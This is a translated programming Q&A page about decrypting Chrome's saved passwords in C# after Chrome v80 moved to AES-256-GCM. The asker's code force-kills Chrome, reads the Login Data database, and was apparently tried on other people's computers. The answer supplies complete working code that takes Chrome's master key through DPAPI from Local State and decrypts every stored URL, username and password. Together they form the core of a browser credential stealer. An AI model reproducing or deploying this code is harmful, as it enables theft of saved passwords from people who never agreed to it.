首页 > 解决方案 > System.Security.Cryptography.CryptographicException:“参数不正确”/Aes 256 Gcm 解密

问题描述

我这两天遇到同样的问题:System.Security.Cryptography.CryptographicException:参数不正确

在 System.Security.Cryptography.ProtectedData.Unprotect(Byte[] encryptedData, Byte[] optionalEntropy, DataProtectionScope 范围)

我将这个项目用于我的代码:https ://github.com/jabiel/BrowserPass/tree/master/BrowserPass

在那个项目中,错误应该在 ChromePassReader.cs 中,我猜是第 42 行。

我的电脑上一切正常,我的一个朋友让我在他的电脑上试了试,但对他不起作用。我也在其他电脑上尝试过,但没有成功。

最合适的答案(由 Topaco 提出):我使用的解密类型对于使用 DPAPI 加密的数据很有用。从 v80.0 或更高版本的 Chrome 版本开始,密码数据使用 Aes 256 Gcm 加密,因此:

更新

我尝试编写代码来解密 AesGcm256 密码数据。我从位于 Google Chrome 文件夹中的数据库中获取用户数据,称为登录数据。然后我应该使用 AesGcm256 Decryption 解密我从那里获得的密码,但我做不到。这是我的尝试:

我在哪里获得 URL、用户名、密码:

using System;
using System.Collections.Generic;
using System.Net;
using System.Data.SQLite;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.IO;
using System.Security.Cryptography;
using System.Diagnostics;
using SalsaClient.Algorithm;

namespace SalsaClient.CDS
{
    class ChromePassReader : IPassReader
    {
        public string BrowserName { get { return "Chrome"; } }

        private const string LOGIN_DATA_PATH = "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Login Data";


        public IEnumerable<CredentialModel> ReadPasswords()
        {
            var result = new List<CredentialModel>();

            var appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);// APPDATA
            var p = Path.GetFullPath(appdata + LOGIN_DATA_PATH);

            if (File.Exists(p))
            {
                Process[] chromeInstances = Process.GetProcessesByName("chrome");
                foreach (Process proc in chromeInstances)
                    proc.Kill();

                using (var conn = new SQLiteConnection($"Data Source={p};"))
                {
                    conn.Open();
                    using (var cmd = conn.CreateCommand())
                    {
                        cmd.CommandText = "SELECT action_url, username_value, password_value FROM logins";
                        using (var reader = cmd.ExecuteReader())
                        {

                            if (reader.HasRows)
                            {
                                while (reader.Read())
                                {

                                    var pass = AesGcm256.decrypt(GetBytes(reader, 2)); //encrypted data

                                    result.Add(new CredentialModel()
                                    {
                                        Url = reader.GetString(0),
                                        Username = reader.GetString(1),
                                        Password = pass
                                    });

                                }
                            }
                        }
                    }
                    conn.Close();
                }

            }
            else
            {
                throw new FileNotFoundException("Cannot find chrome logins file");
            }
            return result;
        }

        private byte[] GetBytes(SQLiteDataReader reader, int columnIndex)
        {
            const int CHUNK_SIZE = 2 * 1024;
            byte[] buffer = new byte[CHUNK_SIZE];
            long bytesRead;
            long fieldOffset = 0;
            using (MemoryStream stream = new MemoryStream())
            {
                while ((bytesRead = reader.GetBytes(columnIndex, fieldOffset, buffer, 0, buffer.Length)) > 0)
                {
                    stream.Write(buffer, 0, (int)bytesRead);
                    fieldOffset += bytesRead;
                }
                return stream.ToArray();
            }
        }
    }
}

算法:

using Newtonsoft.Json;
using Org.BouncyCastle.Crypto.Engines;
using Org.BouncyCastle.Crypto.Modes;
using Org.BouncyCastle.Crypto.Parameters;
using System;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;

namespace SalsaClient.Algorithm
{
    class AesGcm256
    {
        public static string GetKey()
        {
            string sR = string.Empty;
            var appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);// APPDATA
            var path = Path.GetFullPath(appdata + "\\..\\Local\\Google\\Chrome\\User Data\\Local State");

            string v = File.ReadAllText(path);

            dynamic json = JsonConvert.DeserializeObject(v);
            string key = json.os_crypt.encrypted_key;

            byte[] src = Convert.FromBase64String(key);
            byte[] encryptedKey = src.Skip(5).ToArray();

            byte[] data = Convert.FromBase64String(encodedString);
            string decodedString = Encoding.UTF8.GetString(data);

            byte[] decryptedKey = ProtectedData.Unprotect(encryptedKey, null, DataProtectionScope.CurrentUser);
        }

        public static string decrypt(string EncryptedText, byte[] key, byte[] iv)
        {
            string sR = string.Empty;
            try
            {
                byte[] encryptedBytes = Convert.FromBase64String(EncryptedText);

                GcmBlockCipher cipher = new GcmBlockCipher(new AesFastEngine());
                AeadParameters parameters = new AeadParameters(new KeyParameter(key), 128, iv, null);

                cipher.Init(false, parameters);
                byte[] plainBytes = new byte[cipher.GetOutputSize(encryptedBytes.Length)];
                Int32 retLen = cipher.ProcessBytes(encryptedBytes, 0, encryptedBytes.Length, plainBytes, 0);
                cipher.DoFinal(plainBytes, retLen);

                sR = Encoding.UTF8.GetString(plainBytes).TrimEnd("\r\n\0".ToCharArray());
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
                Console.WriteLine(ex.StackTrace);
            }

            return sR;
        }
    }
}

标签: c#cryptography

解决方案


不幸的是,您没有描述究竟是什么不起作用。但是,大多数代码似乎都正确实现了。在某些部分,需要进行一些小的更改和添加:

  • AES 密钥的 DPAPI 解密发生在SalsaClient.Algorithm.AesGcm256.GetKey(). 这里缺少返回语句。返回值的类型为string。由于密钥通常由任意二进制数据组成,因此如果要以字符串形式返回数据,则应使用适当的编码(如 Base64 或十六进制)。或者,密钥可以返回为byte[],如下面的改编:

    public static byte[] GetKey()
    {
        string sR = string.Empty;
        var appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);// APPDATA
        var path = Path.GetFullPath(appdata + "\\..\\Local\\Google\\Chrome\\User Data\\Local State");
    
        string v = File.ReadAllText(path);
    
        dynamic json = JsonConvert.DeserializeObject(v);
        string key = json.os_crypt.encrypted_key;
    
        byte[] src = Convert.FromBase64String(key);
        byte[] encryptedKey = src.Skip(5).ToArray();
    
        byte[] decryptedKey = ProtectedData.Unprotect(encryptedKey, null, DataProtectionScope.CurrentUser);
    
        return decryptedKey;
    }
    
  • 接下来,SalsaClient.CDSChromePassReader#ReadPasswords()必须稍作修改:

    • 必须确定 AES 密钥。
    • 随机数和实际密文必须从从数据库读取的数据中确定。
    • 必须执行密码的解密(使用 AES 密钥、随机数和实际密文)。


    全面的:

    ...  
    byte[] key = AesGcm256.GetKey();
    while (reader.Read())
    {
        byte[] encryptedData = GetBytes(reader, 2);
        byte[] nonce, ciphertextTag;
        AesGcm256.prepare(encryptedData, out nonce, out ciphertextTag);
        string pass = AesGcm256.decrypt(ciphertextTag, key, nonce); 
        ...
    }
    ...
    
  • 在新方法中进行nonce和实际密文的确定SalsaClient.Algorithm.AesGcm256.prepare()。此时需要链接文章中的信息: 与密码相关的数据由以下部分组成:

    • 前三个字节是 ASCII 编码v10 (0x763130)
    • 接下来的 12 个字节是 nonce。
    • 接下来是实际的密文。
    • 最后 16 个字节是 GCM 模式的认证标签。


    实际的密文和认证标签不需要分开,因为 AES-GCM 的 C#/BC 实现将这两个部分一起处理:

    public static void prepare(byte[] encryptedData, out byte[] nonce, out byte[] ciphertextTag)
    {
        nonce = new byte[12];
        ciphertextTag = new byte[encryptedData.Length - 3 - nonce.Length];
    
        System.Array.Copy(encryptedData, 3, nonce, 0, nonce.Length);
        System.Array.Copy(encryptedData, 3 + nonce.Length, ciphertextTag, 0, ciphertextTag.Length);
    }
    
  • 由于加密数据(实际密文和身份验证标签)是二进制格式,因此将这些数据传递给SalsaClient.Algorithm.AesGcm256.decrypt()asbyte[]而不是 as更方便string

    public static string decrypt(byte[] encryptedBytes, byte[] key, byte[] iv)
    {
        string sR = string.Empty;
        try
        {
            GcmBlockCipher cipher = new GcmBlockCipher(new AesFastEngine());
            ...
    

    解密的数据在最后发布的代码中被修剪(换行符和 0 值)。其实这不应该是必要的。但也许你对此有特殊的原因。

  • 至此,所有必要的更改都已完成。然后通过在Main方法中执行来完成密码的解密:

    SalsaClient.CDS.ChromePassReader chromePassReader = new SalsaClient.CDS.ChromePassReader();
    IEnumerable<CredentialModel> credentialList = chromePassReader.ReadPasswords();
    

使用此代码,我可以解密我机器上的 Chrome 密码(其中我的数据库专门包含 AES-GCM 加密密码)。但是请注意,并非所有密码都必须经过 AES-GCM 加密。旧密码(从 v80 之前开始)仍然可以进行 DPAPI 加密。当然,它们不能以上述方式解密,而必须进行 DPAPI 解密。如上所述,使用 AES-GCM 加密的密码可以通过以 ASCII 编码开头的事实来识别v10 (0x763130)。也许您需要在代码中添加相应的大小写区别(至少如果 DPAPI 加密密码仍存储在数据库中)。


推荐阅读